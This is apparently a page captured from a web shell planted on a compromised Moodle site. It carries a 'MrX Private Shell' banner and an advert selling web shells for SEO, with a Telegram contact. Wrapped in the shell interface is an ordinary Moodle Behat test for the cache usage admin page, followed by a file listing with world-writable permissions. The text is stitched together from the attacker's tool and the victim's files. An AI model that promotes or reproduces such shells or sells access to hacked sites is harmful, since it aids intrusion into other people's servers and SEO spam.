__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
@core @core_cache
Feature: Display usage information for cache
In order to investigate performance problems with caching
As an administrator
I need to be able to monitor the size of items in the cache
Background:
Given the following "courses" exist:
| fullname | shortname |
| Course 1 | C1 |
Scenario: Cache performance info displays
When I am on the "C1" "Course" page logged in as "admin"
And I navigate to "Plugins > Caching > Cache usage" in site administration
# Check one row of the summary table. The actual total is currently 3.6MB so it's likely to
# continue to be in the MB range.
Then "default_application" row "Plugin" column of "usage_summary" table should contain "cachestore_file"
And "default_application" row "Estimated total" column of "usage_summary" table should contain "MB"
And "default_application" row "Actual usage (if known)" column of "usage_summary" table should contain "MB"
# And one row of the main table. The totals are fixed to use the MB unit.
And "core/config" row "Store name" column of "usage_main" table should contain "default_application"
And "core/config" row "Plugin" column of "usage_main" table should contain "cachestore_file"
And "core/config" row "Estimated total" column of "usage_main" table should contain "MB"
Scenario: Sample option works
When I am on the "C1" "Course" page logged in as "admin"
And I navigate to "Plugins > Caching > Cache usage" in site administration
And I set the field "samples" to "1000"
And I press "Update"
Then the field "samples" matches value "1000"
And "usage_summary" "table" should exist
And "usage_main" "table" should exist
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| perf_info.feature | File | 940 B | 0777 |
|
| siteadmin_cache_breadcrumbs.feature | File | 1.49 KB | 0777 |
|
| usage.feature | File | 1.68 KB | 0777 |
|